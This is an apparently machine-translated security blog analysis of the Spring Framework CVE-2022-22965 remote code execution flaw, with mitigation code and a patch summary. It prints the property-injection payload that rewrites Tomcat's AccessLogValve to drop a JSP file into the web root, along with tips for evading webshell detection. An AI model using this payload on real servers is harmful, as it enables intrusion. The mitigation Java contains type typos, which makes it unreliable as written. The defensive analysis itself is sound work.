in , , , ,

CVE-2022-22965 – 0day RCE in Spring Framework Analysis

Security Analysis of the RCE ‘0-day’ vulnerabilities in Spring Framework

Critical remote code execution (RCE) bugs have been found in the popular Spring framework which is now tracked as CVE-2022-22965. This bug was discovered by codeplutos, meizjm3i of AntGroup FG, and reported to the Spring team (Vmware)

The vulnerability impacts Spring MVC and Spring WebFlux applications running on JDK 9+. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Vulnerability Detail

The parameter binding function of the Spring MVC framework provides the parameter binding in the request to the member variable of the parameter object in the controller method. The attacker obtains the AccessLogValve object by constructing a malicious request and injects the malicious field value to trigger the pipeline mechanism, which can be written to any path. document.
The short answer is the variable coverage vulnerability caused by parameter binding, which is in the spring-beans package.

Sphere of influence

These are the requirements for the specific scenario from the report:

  • Running on JDK 9 or higher
  • Apache Tomcat as the Servlet container.
  • Packaged as a traditional WAR (in contrast to a Spring Boot executable jar).
  • spring-webmvc or spring-webflux dependency.
  • Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions.

Vulnerability Analysis

Property Injection Analysis

According to the previous vulnerability analysis (CVE-2010-1622) one of the points is to obtain BeanInfo, located in the CachedIntrospectionResults construction method, the next breakpoint, send the request to break

The previous patch filtered out dangerous attributes such as classLoader.

Tracing the above stack, it is found that the parameter binding classes of the new version and the old version are different, the specific location is as follows,setPropertyValueis also called property injection org\springframework\beans\AbstractNestablePropertyAccessor.class#setPropertyValue Supplement: The AbstractNestablePropertyAccessor class provides the A data structure that supports nested properties

For the understanding of this paragraph, refer to https://www.cnblogs.com/binarylei/p/10267928.html

// 1. Recursively get the beanWrapper where the propertyName property is located, such as director.info.name Get the info bean where the name property is located 
AbstractNestablePropertyAccessor  nestedPa  =  getPropertyAccessorForPropertyPath ( propertyName ); 
// 2. Get the property token 
PropertyTokenHolder  tokens  =  getPropertyNameTokens ( getFinalPath ( nestedPa ,  propertyName )); 
// 3. Set property value 
nestedPa . setPropertyValue ( tokens ,  new  PropertyValue ( propertyName ,  value ));

getPropertyAccessorForPropertyPath Obtain the wrapper object beanWrapper of the bean according to the property (propertyPath). If it is director.info.name a nested property like, it needs to be fetched recursively. The method of actually getting the wrapper object of the specified property is getNestedPropertyAccessor done. The recursive call that
can be seen getPropertyAccessorForPropertyPath

protected  AbstractNestablePropertyAccessor  getPropertyAccessorForPropertyPath ( String  propertyPath )  { 
    // 1. Get the property part before the first dot. eg: director.info.name returns department 
    int  pos  =  PropertyAccessorUtils . getFirstNestedPropertySeparatorIndex ( propertyPath );

    // 2. Recursively process nested properties 
    // 2.1 First get the rootBeanWrapper of the class where the director property is located 
    // 2.2 Then get the directorBeanWrapper of the class where the info property is located 
    // 2.3 And so on, get the infoBeanWrapper of the class where the last property name property is located 
    if  ( pos  >  - 1 )  { 
        String  nestedProperty  =  propertyPath . substring ( 0 ,  pos ); 
        String  nestedPath  =  propertyPath . substring ( pos  +  1 ); 
        AbstractNestablePropertyAccessor  nestedPa  =  getNestedPropertyAccessor ( nestedProperty); 
        return  nestedPa . getPropertyAccessorForPropertyPath ( nestedPath ); 
    // 3. Return the current object directly 
    }  else  { 
        return  this ; 
    } 
}

That is the recursive acquisition of bean properties. For example, in my environment, the outermost BeanWrapperImpl encapsulates UserInfo, and the parameter I pass corresponds to the input parameter class in my controller.

I pass the parameter class.module.classLoader.resources.context.parent.appBase
to get the BeanWrapperImpl corresponding to the class for the first time

this . getNestedPropertyAccessor ( nestedProperty ) 
    this . getPropertyValue ( tokens ) 
        this . getLocalPropertyHandler ( actualName ) 
            this . getCachedIntrospectionResults ( ). getPropertyDescriptor ( propertyName )  // propertyName=class

Utilize chain analysis

In addition to the four basic attributes of UserInfo, there is also one in the nested attribute (this is after the cache, you can also see it directly in the beanInfo), you can also intuitively see the class expansion and you can see nested attributes like nesting dolls class
nestedPropertyAccessors

class.module.classLoader.resources.context How to use the object to obtain it, the corresponding code is as follows, that is, multiple getter strings together

(( org . apache . catalina . loader . ParallelWebappClassLoader )   new  UserInfo (). getClass (). getModule (). getClassLoader ()). getResources (). getContext ()

What is obtained is the StandardContext, have you seen it in memory? It is logical to further obtain appBase, and finally focus on parent, which is StandardHost class.module.classLoader.resources.context.parent

(( org . apache . catalina . loader . ParallelWebappClassLoader )   new  UserInfo (). getClass (). getModule (). getClassLoader ()). getResources (). getContext (). getParent ()

The public utilization chain is the utilization of AccessLogValue under the pipeline. This class is used to set the log storage parameters, including the path and suffix. The purpose of writing any file can be achieved by modifying the parameters.

AccessLogValue construct

For the properties of AccessLogValue, please refer to the official Tomcat documentation. Modify several properties of AccessLogValue through property injection as follows

class . module . classLoader . resources . context . parent . appBase = ./ 
class . module . classLoader . resources . context . parent . pipeline . first . pattern =% 25 { Prefix123 } i + 1231231 +% 25 { Suffix123 } i 
class .module.classLoader . _ _ _resources . context . parent . pipeline . first . suffix = random1111 . jsp 
class . module . classLoader . resources . context . parent . pipeline . first . directory = . 
class . module . classLoader . resources . context . parent . pipeline . first . prefix= webapps / ROOT / random1111 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat = time_fomrat_random111 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

Since % is filtered, the pattern is constructed by referencing the header.
PS: Note that every time a new file is written, suffix, prefix and fileDateFormat need to be modified, otherwise the file path will not be modified.
fileDataFormat: The default is .yyyy-MM-dd, try to use only numbers because letters will be parsed and formatted
suffix: as long as there is a suffix
prefix: any
pattern: the format is generally %h %l %u %t “%r “%s %b, so % will be formatted, but the request-header field can be referenced through %{xxx}i, which ensures that any character can be written, and character splicing can be implemented to bypass webshell detection.

%{ xxx } i  request headers information 
%{ xxx } o  response headers information 
%{ xxx } c  request cookie information 
%{ xxx } r  xxx is an attribute of ServletRequest 
%{ xxx } s  xxx is an attribute of HttpSession

Analysis of bypass causes

Tested under JDK1.8, there is no module bean under the class bean, which makes it impossible to use it later. If it is class.classLoader, it will be blocked by the blacklist.

I checked that the class corresponding to the module is java.lang.Module, which was introduced by JDK9, and JDK9 introduced the module system. Ref_

Add:
blacklist judgment logic, beanClass is not Class or attribute name is not (classLoader|protectionDomain), you can satisfy one, and there is no module in jdk8, you can only call it with class.classLoader, and neither of these two conditions are satisfied, resulting in cannot be bypassed.

Class . class  !=  beanClass  ||  ! "classLoader" . equals ( pd . getName ())  &&  ! "protectionDomain" . equals ( pd . getName ())

Why can jdk9 bypass it, because it has an additional module, such as class.module.classLoader, so that the module satisfies the first condition without judging the second condition, thereby bypassing the blacklist.

How to iterate through nested properties

Similar loopholes have occurred in struts2 before. Someone wrote a jsp to traverse to see the details of the code, mainly replace this with Your own model class, which is the input parameter class of the controller method, takes this as a starting point to obtain getter and the effect is as follows, what is the use of other nested properties, you need to explore by yourself.setter

After getting the property value, you can get it through getPropertyAccessorForPropertyPath. The sample code is as follows

BeanWrapperImpl  bw  =  new  BeanWrapperImpl ( this . initarget ); 
String  propertyName  =  poc  +  "."  +  fieldName ; 
Integer  offset  =  propertyName . indexOf ( prefix ); 
if  ( offset  !=  - 1 )  { 
    propertyName  =  propertyName . substring ( offset  +  prefix .length ()) ; }

String  value  =  "" ; 
String  type  =  "" ; 
try  { 
    BeanWrapperImpl  bwl  =  ( BeanWrapperImpl ) invoke ( bw ,  "getPropertyAccessorForPropertyPath" ,  propertyName ); 
    // TODO: The private properties here do not correspond to getters, so they should not be considered beans, by default Or through private property reflection 
    Object  v  =  getFieldValue ( bwl . getWrappedInstance (),  fieldName );

    value  =  v . toString (); 
    type  =  v . getClass (). getName (); 
}  catch  ( Exception   e )  { 
    value  =  "" ; 
}

Let’s take a look at the JDK9 springboot, which is different from the classloader of springMVC. Yes AppClassLoader, there is no getResources().
springMVC is ParallelWebappClassLoader Then look at the springMVC of JDK8, as shown below, the protectionDomain is in the blacklist, so even the attribute value cannot be obtained.
PS: If the value is not resolved, it means that the property is wrong, not the property of the bean.
Here is the property that prints the setter, not the property that only has the getter.

Conditions of use

So to sum up

  • >=JDK9.
  • springMVC.
  • The request interface corresponds to the controller method.
  • Method input parameters are non-basic classes, not String, int, etc.
  • The request method must correspond to the controller method, otherwise, it cannot be accessed.

Repair/ Mitigtion suggestion

As Spring team has already released the Official patch for CVE-2022-22965, along with the Workarounds section for Apache Tomcat upgrades and Java 8 downgrades.

Temporary solution
(1) WAF protection
On network protection devices such as WAF, according to the traffic situation of the actual deployed business, the rules for strings such as “class. “, “Class. “, ” .class. “, ” .Class. ” are implemented. And after the Ministry of Summer filtering rules, test the business operation to avoid additional impact.

(2) Temporary repair measures Temporary repairs
for leaks need to be performed in the following two steps at the same time:
1. Search the @InitBinder annotation globally in the application to see if the dataBinder.setDisallowedFields method is called in the method body. If the introduction of this code fragment is found, In the original blacklist, add {“class. “,”Class. “,” . class. “, ” .Class. “}. (Note: If this code snippet is used a lot, it needs to be appended everywhere)

Create the following global class under the project package of the application system, and ensure that this class is loaded by Spring (it is recommended to add it in the package where the Controller is located). After the class is added, the project needs to be recompiled and packaged and tested for functional verification. and republish the project.

import  org.springframework.core.annotation.Order ; 
import  org.springframework.web.bind.WebDataBinder ; 
import  org.springframework.web.bind.annotation.ControllerAdvice ; 
import  org.springframework.web.bind.annotation.InitBinder ; 
@ControllerAdvice 
@Order ( 10000 ) 
public  class  GlobalControllerAdvice {  
 @InitBinder 
 public  void  setAllowedFields ( webdataBinder  dataBinder ){ 
     String [] abd = new  string []{ "class.*", "Class.*" , "*.class.*" , "*.Class . *" }; 
     dataBinder .setDisallowedFields ( abd ); } }

Patch Analysis

Refine PropertyDescriptor filtering
The patch is simple when the beanClass is class.Class, only the name property is allowed to be added.
And if the attribute is ClassLoader and ProtectionDomain, it will also be ignored.

Reference Docs

Other considerations

The input parameter of the controller method is a non-basic class. For example, if the input parameter is String, parameter binding cannot be triggered.

What do you think?

Written by SH

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

An analysis of two new Linux vulnerabilities in nf_tables

Account Takeover Vulnerability in TikTok SMB subdomain.